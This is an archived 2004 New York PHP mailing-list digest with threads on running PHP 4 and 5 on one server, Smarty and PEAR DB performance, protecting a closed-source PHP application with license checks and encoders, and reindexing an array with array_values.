Subject: [nycphp-talk] can PHP4 and 5 co-exist?
In-Reply-To: <6.1.0.6.2.20040519122752.01efa9d0@mail.optonline.net>
References: <6.1.0.6.2.20040519122752.01efa9d0@mail.optonline.net>
Message-ID: <40AB8F0C.6060209@jonbaer.net>

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Yes ...

It involves using a .php5 extension and starting Apache w/ LoadModule
php5_module c:\php5\php5apache2.dll + map x-httpd-php5

More info:

http://www.phpdiscuss.com/article.php?id=69114&group=php.notes

- - Jon

Michael Southwell wrote:
| Is there a way to run both PHP4.x and 5 on one machine?
|
| Michael G. Southwell =================================
| DNEBA Enterprises
| 81 South Road
| Bloomingdale, NJ 07403-1419
| 973/492-7873 (voice and fax)
| southwell at dneba.com
| http://www.dneba.com
| ======================================================
|
| _______________________________________________
| talk mailing list
| talk at lists.nyphp.org
| http://lists.nyphp.org/mailman/listinfo/talk
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From tgales at tgaconnect.com  Wed May 19 12:46:43 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 19 May 2004 12:46:43 -0400
Subject: [nycphp-talk] can PHP4 and 5 co-exist?
In-Reply-To: <6.1.0.6.2.20040519122752.01efa9d0@mail.optonline.net>
Message-ID: <000f01c43dc0$dfc03f70$e98d3818@oberon1>

> 
> Is there a way to run both PHP4.x and 5 on one machine?
> 
I have Apache 2.0 something running php 4 and Apache 1.3x 
running rc1 of php 5. I think theoretically both web 
servers could run (listening on different ports) -- 
I never tried it.

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com



From jonbaer at jonbaer.net  Wed May 19 12:54:01 2004
From: jonbaer at jonbaer.net (Jon Baer)
Date: Wed, 19 May 2004 12:54:01 -0400
Subject: [nycphp-talk] can PHP4 and 5 co-exist?
In-Reply-To: <000f01c43dc0$dfc03f70$e98d3818@oberon1>
References: <000f01c43dc0$dfc03f70$e98d3818@oberon1>
Message-ID: <40AB9129.6010304@jonbaer.net>

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An interesting method to try is to proxy:

http://wiki.coggeshall.org/37.html

- -snip-
To solve this problem, I used Apache's mod_proxy module and two apache
servers... My primary server runs PHP 5 as an Apache module and a second
apache server runs PHP 4.3.5 as a module. My configuration requires that
you can setup multiple virtual servers and run Apache to listen on
localhost on port 8080.
- -snip-

- - Jon

Tim Gales wrote:

|>Is there a way to run both PHP4.x and 5 on one machine?
|>
|
| I have Apache 2.0 something running php 4 and Apache 1.3x
| running rc1 of php 5. I think theoretically both web
| servers could run (listening on different ports) --
| I never tried it.

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From tgales at tgaconnect.com  Wed May 19 13:07:54 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 19 May 2004 13:07:54 -0400
Subject: [nycphp-talk] can PHP4 and 5 co-exist?
In-Reply-To: <40AB9129.6010304@jonbaer.net>
Message-ID: <001001c43dc3$d40a7a30$e98d3818@oberon1>

> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Jon Baer
> Sent: Wednesday, May 19, 2004 12:54 PM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] can PHP4 and 5 co-exist?
> 
> 
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> 
> An interesting method to try is to proxy:
> 
> http://wiki.coggeshall.org/37.html
> 
> - -snip-
> To solve this problem, I used Apache's mod_proxy module and 
> two apache servers... My primary server runs PHP 5 as an 
> Apache module and a second apache server runs PHP 4.3.5 as a 
> module. My configuration requires that you can setup multiple 
> virtual servers and run Apache to listen on localhost on port 8080.
> - -snip-
> 
> - - Jon
> 
Hmmm...
"The magic here is in the _ProxyPass_ directive. This directive basically
passes the request directly through to another host, in this case the
other Apache server running PHP 4 on localhost!"

very interesting --

Thanks Jon,

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com




From steven at sohh.com  Wed May 19 13:26:30 2004
From: steven at sohh.com (Steven Samuel)
Date: Wed, 19 May 2004 13:26:30 -0400
Subject: [nycphp-talk] Smarty
In-Reply-To: <40AB61CB.6080100@sklar.com>
Message-ID: <022e01c43dc6$72ae6ff0$0300a8c0@STEVEN>

I'm not super techincal when it comes to installing applications on my
Linux server. I'm co-located at Rackspace, and they do a good job of
installing programs when I need it at $75 per hour. The one thing that I
didn't like about Smarty was the installation, which is why I haven't
used it yet.

Right now, I use phpLib's phpCache v1.4 - PHP caching engine. I just
uploaded the templating file and that's it. Any page I want to use the
template on, I just call it via the include and call the object.

Right now, I'd like to get more into XSLT and see if this would be
better.

Steven

-----Original Message-----
From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
On Behalf Of David Sklar
Sent: Wednesday, May 19, 2004 9:32 AM
To: NYPHP Talk
Subject: Re: [nycphp-talk] Smarty


> Just read David Sklar's  "Essential PHP tools". It serves as a great
> reference for Pear DB, Auth,HTML_Quickform etc.. I don't even know
him, 
> so I'm not being biased.

Thanks!

> But I was curious about people's feelings of Smarty. Do most think 
> this
> extra processing is worth it? A conscientious job of keeping logic and

> presentation separate would accomplish this as well. Any feelings?

I think Smarty is a helper in that "conscientiousness" department. If 
that help, for your project or company or whatever, is worth the 
performance tradeoff, then Smarty is a good idea.

There are plenty of ways to boost Smarty's performance (caching, using 
an accelerator), so you can minimize the performance hit. And, to be 
completely honest, most web sites aren't running at the level where 
every last bit of performance is so crucial.

A legitimate downside to Smarty is that you need to learn, essentially, 
another programming language -- Smarty's syntax for variable 
interpolation, its function names, etc. But if that syntax is easier to 
grok for your site designers, then that's a good thing.

See also Adam's spot-on mini-rant a little while ago about including 
human time spent and programmer convenience in your calculations of cost

and performance. Smarty's advantages definitely fit into that category.

> Also, any feelings about DB and whether there is a big performance 
> hit?
> Also, does it work well with stored procedures and other RBDMS
specific 
> goodies?

I think the big win of DB is that it provides a unified API for database

access, not so much that it abstracts SQL features whose implementations

vary across databases. Whatever database program you're using, 
DB::query() sends a query off to the database and (perhaps) returns a 
result handle. The contents of that query can be standard SQL, 
vendor-specific SQL, a stored procedure, whatever you want.

David

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From max.goldberg at gmail.com  Wed May 19 13:46:37 2004
From: max.goldberg at gmail.com (max goldberg)
Date: Wed, 19 May 2004 13:46:37 -0400
Subject: [nycphp-talk] Smarty
In-Reply-To: <022e01c43dc6$72ae6ff0$0300a8c0@STEVEN>
References: <022e01c43dc6$72ae6ff0$0300a8c0@STEVEN>
Message-ID: <87e6ded3040519104654af138e@mail.gmail.com>

I find that you take less of a performance hit dealing with templates
than you do with things like large db results that require a lot of
post-processing. While I usually use something a lot smaller and less
involved than Smarty, I feel with a cache/optimizer such as
Turck-MMCache, it almost makes templating a moot point if you cache
the heavy things correctly. For instance, on a site I made, I have
roughly 10 join queries on the front page. I use Turck to cache the
processed query results in shared memory (although you don't need to
use turck, it provides a really simple interface) for five minutes,
and that way, when 1000 people hit my page in 5 minutes I'm doing 10
queries/template calls instead of 10,000.

Something that I've been playing with recently is XDebug (
http://www.xdebug.com/ ), it's pretty useful for code profiling and it
lets you know pretty quick where your slowdowns are.


On Wed, 19 May 2004 13:26:30 -0400, Steven Samuel <steven at sohh.com> wrote:
> 
> I'm not super techincal when it comes to installing applications on my
> Linux server. I'm co-located at Rackspace, and they do a good job of
> installing programs when I need it at $75 per hour. The one thing that I
> didn't like about Smarty was the installation, which is why I haven't
> used it yet.
> 
> Right now, I use phpLib's phpCache v1.4 - PHP caching engine. I just
> uploaded the templating file and that's it. Any page I want to use the
> template on, I just call it via the include and call the object.
> 
> Right now, I'd like to get more into XSLT and see if this would be
> better.
> 
> Steven
> 
> 
> 
> -----Original Message-----
> From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org]
> On Behalf Of David Sklar
> Sent: Wednesday, May 19, 2004 9:32 AM
> To: NYPHP Talk
> Subject: Re: [nycphp-talk] Smarty
> 
> > Just read David Sklar's  "Essential PHP tools". It serves as a great
> > reference for Pear DB, Auth,HTML_Quickform etc.. I don't even know
> him,
> > so I'm not being biased.
> 
> Thanks!
> 
> > But I was curious about people's feelings of Smarty. Do most think
> > this
> > extra processing is worth it? A conscientious job of keeping logic and
> 
> > presentation separate would accomplish this as well. Any feelings?
> 
> I think Smarty is a helper in that "conscientiousness" department. If
> that help, for your project or company or whatever, is worth the
> performance tradeoff, then Smarty is a good idea.
> 
> There are plenty of ways to boost Smarty's performance (caching, using
> an accelerator), so you can minimize the performance hit. And, to be
> completely honest, most web sites aren't running at the level where
> every last bit of performance is so crucial.
> 
> A legitimate downside to Smarty is that you need to learn, essentially,
> another programming language -- Smarty's syntax for variable
> interpolation, its function names, etc. But if that syntax is easier to
> grok for your site designers, then that's a good thing.
> 
> See also Adam's spot-on mini-rant a little while ago about including
> human time spent and programmer convenience in your calculations of cost
> 
> and performance. Smarty's advantages definitely fit into that category.
> 
> > Also, any feelings about DB and whether there is a big performance
> > hit?
> > Also, does it work well with stored procedures and other RBDMS
> specific
> > goodies?
> 
> I think the big win of DB is that it provides a unified API for database
> 
> access, not so much that it abstracts SQL features whose implementations
> 
> vary across databases. Whatever database program you're using,
> DB::query() sends a query off to the database and (perhaps) returns a
> result handle. The contents of that query can be standard SQL,
> vendor-specific SQL, a stored procedure, whatever you want.
> 
> David
> 
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> talk mailing list
> talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk
> 
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From dcech at phpwerx.net  Thu May 20 13:06:14 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Thu, 20 May 2004 13:06:14 -0400
Subject: [nycphp-talk] PHP License Management
Message-ID: <40ACE586.2030408@phpwerx.net>

Hi all,

I've been asked to come up with a licensing solutions for a 
closed-source php application, and wondered if anyone had any advice.

The application will be licensed either in perpetuity or on a 
subscription basis, and each license will be tied to a particular server 
to make unauthorised distribution more difficult.

The idea I came up with was to create a server app where the user could 
log in and view/purchase/extend licenses and manage the IP address(es) 
each license is tied to.

The 'license' itself would be an encrypted token containing the client 
id, expiry date, ip address(es) etc signed with a private key.

The actual software would then be encoded to protect the source from 
(casual) prying eyes (I was thinking of using the Turck MMCache encoder 
for this) and include code to check the license validity and take 
appropriate action.

The most obvious (to me) attack on the system is to reverse-engineer the 
code and remove the license check, which could be mitigated somewhat be 
encoding the entire app and 'hiding' the check within the code.

It seems to me like a viable solution, but I'm no security expert and 
would appreciate any and all comments or pointers to existing solutions.

Dan



From sklar at sklar.com  Thu May 20 13:09:31 2004
From: sklar at sklar.com (David Sklar)
Date: Thu, 20 May 2004 13:09:31 -0400
Subject: [nycphp-talk] PHP License Management
In-Reply-To: <40ACE586.2030408@phpwerx.net>
References: <40ACE586.2030408@phpwerx.net>
Message-ID: <40ACE64B.4030806@sklar.com>

> The actual software would then be encoded to protect the source from 
> (casual) prying eyes (I was thinking of using the Turck MMCache encoder 
> for this) and include code to check the license validity and take 
> appropriate action.
> 
> The most obvious (to me) attack on the system is to reverse-engineer the 
> code and remove the license check, which could be mitigated somewhat be 
> encoding the entire app and 'hiding' the check within the code.

There's no perfect solution here, you just want to be sufficiently ahead 
of likely attackers in the arms race. One thing that might help (but 
will cost you more $) is to use a closed-source encoder like Zend 
Encoder or the ionCube Encoder. Reversing the encoded code is much 
easier when you have the source code to the encoder.

The ionCube encoder offers some protections similar to your licensing 
scheme (but users can't change things), so that might be helpful, too.

David



From jlacey at att.net  Thu May 20 13:10:15 2004
From: jlacey at att.net (John Lacey)
Date: Thu, 20 May 2004 11:10:15 -0600
Subject: [nycphp-talk] PHP License Management
In-Reply-To: <40ACE586.2030408@phpwerx.net>
References: <40ACE586.2030408@phpwerx.net>
Message-ID: <40ACE677.2010201@att.net>



Dan Cech wrote:
> Hi all,
> 
> I've been asked to come up with a licensing solutions for a 
> closed-source php application, and wondered if anyone had any advice.
> 
> The application will be licensed either in perpetuity or on a 
> subscription basis, and each license will be tied to a particular server 
> to make unauthorised distribution more difficult.
> 
> The idea I came up with was to create a server app where the user could 
> log in and view/purchase/extend licenses and manage the IP address(es) 
> each license is tied to.

I'd look for a way other than IP addys since they're a moving 
target, especially if the customer is running a NATed network.

> 
> The 'license' itself would be an encrypted token containing the client 
> id, expiry date, ip address(es) etc signed with a private key.
> 
> The actual software would then be encoded to protect the source from 
> (casual) prying eyes (I was thinking of using the Turck MMCache encoder 
> for this) and include code to check the license validity and take 
> appropriate action.
> 
> The most obvious (to me) attack on the system is to reverse-engineer the 
> code and remove the license check, which could be mitigated somewhat be 
> encoding the entire app and 'hiding' the check within the code.
> 
> It seems to me like a viable solution, but I'm no security expert and 
> would appreciate any and all comments or pointers to existing solutions.
> 
> Dan
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 



From dcech at phpwerx.net  Thu May 20 13:18:01 2004
From: dcech at phpwerx.net (Dan Cech)
Date: Thu, 20 May 2004 13:18:01 -0400
Subject: [nycphp-talk] PHP License Management
In-Reply-To: <40ACE64B.4030806@sklar.com>
References: <40ACE586.2030408@phpwerx.net> <40ACE64B.4030806@sklar.com>
Message-ID: <40ACE849.605@phpwerx.net>

David Sklar wrote:

>> The actual software would then be encoded to protect the source from 
>> (casual) prying eyes (I was thinking of using the Turck MMCache 
>> encoder for this) and include code to check the license validity and 
>> take appropriate action.
>>
>> The most obvious (to me) attack on the system is to reverse-engineer 
>> the code and remove the license check, which could be mitigated 
>> somewhat be encoding the entire app and 'hiding' the check within the 
>> code.
> 
> There's no perfect solution here, you just want to be sufficiently ahead 
> of likely attackers in the arms race. One thing that might help (but 
> will cost you more $) is to use a closed-source encoder like Zend 
> Encoder or the ionCube Encoder. Reversing the encoded code is much 
> easier when you have the source code to the encoder.
> 
> The ionCube encoder offers some protections similar to your licensing 
> scheme (but users can't change things), so that might be helpful, too.

You are right, the closed source nature of ionCube may make it more 
resistant to reverse engineering...in fact I think the company may 
already have a license for it...

ionCube seems to be a lot cheaper than the Zend solutions...and they 
claim it's faster too.

Dan



From nyphp at websapp.com  Thu May 20 13:16:25 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Thu, 20 May 2004 13:16:25 -0400
Subject: [nycphp-talk] PHP License Management
In-Reply-To: <40ACE586.2030408@phpwerx.net>
Message-ID: <200405201716.i4KHGR2P001460@ns5.oddcast.com>

Warning: I work for Zend Technologies !


The Zend SafeGuard Suite includes the Encoder and licensing software
all-in-one.

http://www.zend.com/store/products/zend-safeguard-suite.php

Zend enjoys giving New York PHP discounts. You can contact me off list if
you're interested ;)

Best,
Daniel Kushner


> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Dan Cech
> Sent: Thursday, May 20, 2004 13:06
> To: NYPHP Talk
> Subject: [nycphp-talk] PHP License Management
> 
> Hi all,
> 
> I've been asked to come up with a licensing solutions for a 
> closed-source php application, and wondered if anyone had any advice.
> 
> The application will be licensed either in perpetuity or on a 
> subscription basis, and each license will be tied to a 
> particular server to make unauthorised distribution more difficult.
> 
> The idea I came up with was to create a server app where the 
> user could log in and view/purchase/extend licenses and 
> manage the IP address(es) each license is tied to.
> 
> The 'license' itself would be an encrypted token containing 
> the client id, expiry date, ip address(es) etc signed with a 
> private key.
> 
> The actual software would then be encoded to protect the source from
> (casual) prying eyes (I was thinking of using the Turck 
> MMCache encoder for this) and include code to check the 
> license validity and take appropriate action.
> 
> The most obvious (to me) attack on the system is to 
> reverse-engineer the code and remove the license check, which 
> could be mitigated somewhat be encoding the entire app and 
> 'hiding' the check within the code.
> 
> It seems to me like a viable solution, but I'm no security 
> expert and would appreciate any and all comments or pointers 
> to existing solutions.
> 
> Dan
> 
> _______________________________________________
> talk mailing list
> talk at lists.nyphp.org
> http://lists.nyphp.org/mailman/listinfo/talk
> 
> 
> 




From Rafi.Sheikh at Ingenix.com  Thu May 20 13:31:02 2004
From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh)
Date: Thu, 20 May 2004 12:31:02 -0500
Subject: [nycphp-talk] Change key values in array
Message-ID: <C92A8F8B60F96B42911EFA70AF30A88F060A4777@msp7-msx1.ingenix.com>

Hi folks.  Is it possible to change the key value type in an array?  I have
an array that has string key values, for my purposes I need it to have int
index

NOW LOOKS LIKE:
array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" ["04-03"]=> int(0)
["04-04"]=> int(0) ["04-05"]=> int(0) ["04-06"]=> int(0) }

I NEED IT TO LOOK LIKE:
array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) [3]=> int(0) [4]=>
int(0) [5]=> int(0) }

REASON:
I am getting date value from a DB, and than doing an array_merge with
another template to ensure that any missing month for a category get a zero
in the correct sequence.  Problem is that, the resulting array needs to have
int index for the graphing utility to work.

TIA


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From phillip.powell at adnet-sys.com  Thu May 20 13:39:28 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Thu, 20 May 2004 13:39:28 -0400
Subject: [nycphp-talk] Change key values in array
In-Reply-To: <C92A8F8B60F96B42911EFA70AF30A88F060A4777@msp7-msx1.ingenix.com>
References: <C92A8F8B60F96B42911EFA70AF30A88F060A4777@msp7-msx1.ingenix.com>
Message-ID: <40ACED50.5080108@adnet-sys.com>

Rafi Sheikh wrote:

>Hi folks.  Is it possible to change the key value type in an array?  I have
>an array that has string key values, for my purposes I need it to have int
>index
>
>NOW LOOKS LIKE:
>array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" ["04-03"]=> int(0)
>["04-04"]=> int(0) ["04-05"]=> int(0) ["04-06"]=> int(0) }
>
>I NEED IT TO LOOK LIKE:
>array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) [3]=> int(0) [4]=>
>int(0) [5]=> int(0) }
>
>  
>

 From first glance I would say just use array_values(), that creates the 
enumerative array you want from the original array with the values in 
the same order.

Phil

>REASON:
>I am getting date value from a DB, and than doing an array_merge with
>another template to ensure that any missing month for a category get a zero
>in the correct sequence.  Problem is that, the resulting array needs to have
>int index for the graphing utility to work.
>
>TIA
>
>
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From nyphp at websapp.com  Thu May 20 13:36:06 2004
From: nyphp at websapp.com (Daniel Kushner)
Date: Thu, 20 May 2004 13:36:06 -0400
Subject: [nycphp-talk] Change key values in array
In-Reply-To: <C92A8F8B60F96B42911EFA70AF30A88F060A4777@msp7-msx1.ingenix.com>
Message-ID: <200405201736.i4KHa9wH007583@ns5.oddcast.com>

array_values()

-Daniel


> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Rafi Sheikh
> Sent: Thursday, May 20, 2004 13:31
> To: 'talk at lists.nyphp.org'
> Subject: [nycphp-talk] Change key values in array
> 
> Hi folks.  Is it possible to change the key value type in an 
> array?  I have an array that has string key values, for my 
> purposes I need it to have int index
> 
> NOW LOOKS LIKE:
> array(6) { ["04-01"]=> int(0) ["04-02"]=> string(2) "32" 
> ["04-03"]=> int(0) ["04-04"]=> int(0) ["04-05"]=> int(0) 
> ["04-06"]=> int(0) }
> 
> I NEED IT TO LOOK LIKE:
> array(6) { [0]=> int(0) [1]=> string(2) "32" [2]=> int(0) 
> [3]=> int(0) [4]=>
> int(0) [5]=> int(0) }
> 
> REASON:
> I am getting date value from a DB, and than doing an 
> array_merge with another template to ensure that any missing 
> month for a category get a zero in the correct sequence.  
> Problem is that, the resulting array needs to have int index 
> for the graphing utility to work.
> 
> TIA
> 
> 
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From sm11szw02 at sneakemail.com  Thu May 20 14:09:50 2004
From: sm11szw02 at sneakemail.com (inforequest)
Date: Thu, 20 May 2004 14:09:50 -0400
Subject: [nycphp-talk] PHP License Management
In-Reply-To: <200405201716.i4KHGR2P001460@ns5.oddcast.com>
References: <200405201716.i4KHGR2P001460@ns5.oddcast.com>
Message-ID: <28355-34786@sneakemail.com>

I have used Zen and ionCube on small-scale projects, and I can add:

Consider your vendor in light of your support needs - how much do you 
provide and how much do your customers need. If you will be doing the 
server setup/config then maybe there's no issue, but if the customer has 
to accomodate your use of Zend or ionCube then you may want to consider 
how each of those vendors handles inquiries (since they now become a 
contributor to your companies customer satisfaction quotient). Last 
thing you need is a great product that gets a bad rep because your 
encoder vendor had some compatibility issues.

When I was using ionCube there were some issues with the order in which 
ionCube and Zend extensions were to be installed, and when I used Zend 
there were some additional issues as well related to other products in 
use on the same server. It got messy when the customer moved from dev to 
production servers, especially.  I handled the Zend issues with Zend 
support (they responded very well) and handled the ionCube stuff via 
Internet searches. In then end my solution was dependent on end-user 
server configuration -- something to be aware of. That was a year ago.

I would recommend tying the product to domain name instead of IP. Makes 
for fewer support calls and customer inquiries (change of DNS doesn't 
require support), and perhaps most importantly ties integrity to a 
brand. IMHO companies are less inclined to try beating it  when their 
brand name may be compromised/banned. There may be security issues of 
which I am not attuned that make IP a better choice.

I would also recommend you encode only choice parts using a modular 
approach, perhaps only encoding parts that tie to IP or domain, and then 
a few random bits for obfuscation. This deters the casual cracker, and 
occupies the  determined infringer. Not sure how it plays into 
performance though.

IMHO the  Zend  solution is more likely to need an update when the Zend 
suite is updated, while the ionCube product is more stand-alone (and 
perhaps may be a better value if you only need a perpetual license for 
the encoder).

Finally I have noticed alot of back and forth banter in vendor pre-sale 
forums when encoding is part of the solution, related to how it is used, 
how it effects portability (the IP vs. Domain name thing), who supports 
the server config, etc. If you make it clear that you use encoding, 
perhaps provide sufficient info up front about how it is used or you may 
end up increasing your pre-sale support costs.

-=john

Daniel Kushner nyphp-at-websapp.com |nyphp 04/2004| wrote:

>Warning: I work for Zend Technologies !
>
>
>The Zend SafeGuard Suite includes the Encoder and licensing software
>all-in-one.
>
>http://www.zend.com/store/products/zend-safeguard-suite.php
>
>Zend enjoys giving New York PHP discounts. You can contact me off list if
>you're interested ;)
>
>Best,
>Daniel Kushner
>
>
>  
>
>>-----Original Message-----
>>From: talk-bounces at lists.nyphp.org 
>>[mailto:talk-bounces at lists.nyphp.org] On Behalf Of Dan Cech
>>Sent: Thursday, May 20, 2004 13:06
>>To: NYPHP Talk
>>Subject: [nycphp-talk] PHP License Management
>>
>>Hi all,
>>
>>I've been asked to come up with a licensing solutions for a 
>>closed-source php application, and wondered if anyone had any advice.
>>
>>The application will be licensed either in perpetuity or on a 
>>subscription basis, and each license will be tied to a 
>>particular server to make unauthorised distribution more difficult.
>>
>>The idea I came up with was to create a server app where the 
>>user could log in and view/purchase/extend licenses and 
>>manage the IP address(es) each license is tied to.
>>
>>The 'license' itself would be an encrypted token containing 
>>the client id, expiry date, ip address(es) etc signed with a 
>>private key.
>>
>>The actual software would then be encoded to protect the source from
>>(casual) prying eyes (I was thinking of using the Turck 
>>MMCache encoder for this) and include code to check the 
>>license validity and take appropriate action.
>>
>>The most obvious (to me) attack on the system is to 
>>reverse-engineer the code and remove the license check, which 
>>could be mitigated somewhat be encoding the entire app and 
>>'hiding' the check within the code.
>>
>>It seems to me like a viable solution, but I'm no security 
>>expert and would appreciate any and all comments or pointers 
>>to existing solutions.
>>
>>Dan
>>
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From Rafi.Sheikh at Ingenix.com  Thu May 20 15:28:57 2004
From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh)
Date: Thu, 20 May 2004 14:28:57 -0500
Subject: [nycphp-talk] RE: talk Digest, Vol 12, Issue 26
Message-ID: <C92A8F8B60F96B42911EFA70AF30A88F060A4778@msp7-msx1.ingenix.com>

Thank you.  I used array_values and worked like a dream.  Thx again!

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Today's Topics:

   1. PHP License Management (Dan Cech)
   2. Re: PHP License Management (David Sklar)
   3. Re: PHP License Management (John Lacey)
   4. Re: PHP License Management (Dan Cech)
   5. RE: PHP License Management (Daniel Kushner)
   6. Change key values in array (Rafi Sheikh)
   7. Re: Change key values in array (Phillip Powell)
   8. RE: Change key values in array (Daniel Kushner)
   9. Re: PHP License Management (inforequest)


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Message: 1
Date: Thu, 20 May 2004 13:06:14 -0400
From: Dan Cech <dcech at phpwerx.net>
Subject: [nycphp-talk] PHP License Management
To: NYPHP Talk <talk at lists.nyphp.org>
Message-ID: <40ACE586.2030408 at phpwerx.net>
Content-Type: text/plain; charset=us-ascii; format=flowed

Hi all,

I've been asked to come up with a licensing solutions for a 
closed-source php application, and wondered if anyone had any advice.

The application will be licensed either in perpetuity or on a 
subscription basis, and each license will be tied to a particular server 
to make unauthorised distribution more difficult.

The idea I came up with was to create a server app where the user could 
log in and view/purchase/extend licenses and manage the IP address(es) 
each license is tied to.

The 'license' itself would be an encrypted token containing the client 
id, expiry date, ip address(es) etc signed with a private key.

The actual software would then be encoded to protect the source from 
(casual) prying eyes (I was thinking of using the Turck MMCache encoder 
for this) and include code to check the license validity and take 
appropriate action.

The most obvious (to me) attack on the system is to reverse-engineer the 
code and remove the license check, which could be mitigated somewhat be 
encoding the entire app and 'hiding' the check within the code.

It seems to me like a viable solution, but I'm no security expert and 
would appreciate any and all comments or pointers to existing solutions.

Dan



------------------------------

Message: 2
Date: Thu, 20 May 2004 13:09:31 -0400
From: David Sklar <sklar at sklar.com>
Subject: Re: [nycphp-talk] PHP License Management
To: NYPHP Talk <talk at lists.nyphp.org>
Message-ID: <40ACE64B.4030806 at sklar.com>
Content-Type: text/plain; charset=us-ascii; format=flowed

> The actual software would then be encoded to protect the source from 
> (casual) prying eyes (I was thinking of using the Turck MMCache encoder 
> for this) and include code to check the license validity and take 
> appropriate action.
> 
> The most obvious (to me) attack on the system is to reverse-engineer the 
> code and remove the license check, which could be mitigated somewhat be 
> encoding the entire app and 'hiding' the check within the code.

There's no perfect solution here, you just want to be sufficiently ahead 
of likely attackers in the arms race. One thing that might help (but 
will cost you more $) is to use a closed-source encoder like Zend 
Encoder or the ionCube Encoder. Reversing the encoded code is much 
easier when you have the source code to the encoder.

The ionCube encoder offers some protections similar to your licensing 
scheme (but users can't change things), so that might be helpful, too.

David



------------------------------

Message: 3
Date: Thu, 20 May 2004 11:10:15 -0600
From: John Lacey <jlacey at att.net>
Subject: Re: [nycphp-talk] PHP License Management
To: NYPHP Talk <talk at lists.nyphp.org>
Message-ID: <40ACE677.2010201 at att.net>
Content-Type: text/plain; charset=us-ascii; format=flowed



Dan Cech wrote:
> Hi all,
> 
> I've been asked to come up with a licensing solutions for a 
> closed-source php application, and wondered if anyone had any advice.
> 
> The application will be licensed either in perpetuity or on a 
> subscription basis, and each license will be tied to a particular server 
> to make unauthorised distribution more difficult.
> 
> The idea I came up with was to create a server app where the user could 
> log in and view/purchase/extend licenses and manage the IP address(es) 
> each license is tied to.

I'd look for a way other than IP addys since they're a moving 
target, especially if the customer is running a NATed network.

> 
> The 'license' itself would be an encrypted token containing the client 
> id, expiry date, ip address(es) etc signed with a private key.
> 
> The actual software would then be encoded to protect the source from 
> (casual) prying eyes (I was thinking of using the Turck MMCache encoder 
> for this) and include code to check the license validity and take 
> appropriate action.
> 
> The most obvious (to me) attack on the system is to reverse-engineer the 
> code and remove the license check, which could be mitigated somewhat be 
> encoding the entire app and 'hiding' the check within the code.
> 
> It seems to me like a viable solution, but I'm no security expert and 
> would appreciate any and all comments or pointers to existing solutions.
> 
> Dan
> 
> _______________________________________________
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> http://lists.nyphp.org/mailman/listinfo/talk
> 



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Message: 4
Date: Thu, 20 May 2004 13:18:01 -0400
From: Dan Cech <dcech at phpwerx.net>
Subject: Re: [nycphp-talk] PHP License Management
To: NYPHP Talk <talk at lists.nyphp.org>
Message-ID: <40ACE849.605 at phpwerx.net>
Content-Type: text/plain; charset=us-ascii; format=flowed

David Sklar wrote:

>> The actual software would then be encoded to protect the source from 
>> (casual) prying eyes (I was thinking of using the Turck MMCache 
>> encoder for this) and include code to check the license validity and 
>> take appropriate action.
>>
>> The most obvious (to me) attack on the system is to reverse-engineer 
>> the code and remove the license check, which could be mitigated 
>> somewhat be encoding the entire app and 'hiding' the check within the 
>> code.
> 
> There's no perfect solution here, you just want to be sufficiently ahead 
> of likely attackers in the arms race. One thing that might help (but 
> will cost you more $) is to use a closed-source encoder like Zend 
> Encoder or the ionCube Encoder. Reversing the encoded code is much 
> easier when you have the source code to the encoder.
> 
> The ionCube encoder offers some protections similar to your licensing 
> scheme (but users can't change things), so that might be helpful, too.

You are right, the closed source nature of ionCube may make it more 
resistant to reverse engineering...in fact I think the company may 
already have a license for it...

ionCube seems to be a lot cheaper than the Zend solutions...and they 
claim it's faster too.

Dan



------------------------------

Message: 5
Date: Thu, 20 May 2004 13:16:25 -0400
From: "Daniel Kushner" <nyphp at websapp.com>
Subject: RE: [nycphp-talk] PHP License Management
To: "'NYPHP Talk'" <talk at lists.nyphp.org>
Message-ID: <200405201716.i4KHGR2P001460 at ns5.oddcast.com>
Content-Type: text/plain;	charset="us-ascii"

Warning: I work for Zend Technologies !


The Zend SafeGuard Suite includes the Encoder and licensing software
all-in-one.

http://www.zend.com/store/products/zend-safeguard-suite.php

Zend enjoys giving New York PHP discounts. You can contact me off list if
you're interested ;)

Best,
Daniel Kushner


> -----Original Message-----
> From: talk-bounces at lists.nyphp.org 
> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Dan Cech
> Sent: Thursday, May 20, 2004 13:06
> To: NYPHP Talk
> Subject: [nycphp-talk] PHP License Management
> 
> Hi all,
> 
> I've been asked to come up with a licensing solutions for a 
> closed-source php application, and wondered if anyone had any advice.
> 
> The application will be licensed either in perpetuity or on a 
> subscription basis, and each license will be tied to a 
> particular server to make unauthorised distribution more difficult.
> 
> The idea I came up with was to create a server app where the 
> user could log in and view/purchase/extend licenses and 
> manage the IP address(es) each license is tied to.
> 
> The 'license' itself would be an encrypted token containing 
> the client id, expiry date, ip address(es) etc signed with a 
> private key.
> 
> The actual software would then be encoded to protect the source from
> (casual) prying eyes (I was thinking of using the Turck 
> MMCache encoder for this) and include code to check the 
> license validity and take appropriate action.
> 
> The most obvious (to me) attack on the system is to 
> reverse-engineer the code and remove the license check, which 
> could be mitigated somewhat be encoding the entire app and 
> 'hiding' the check within the code.
> 
> It seems to me like a viable solution, but I'm no security 
> expert and would appreciate any and all comments or pointers 
> to existing solutions.
> 
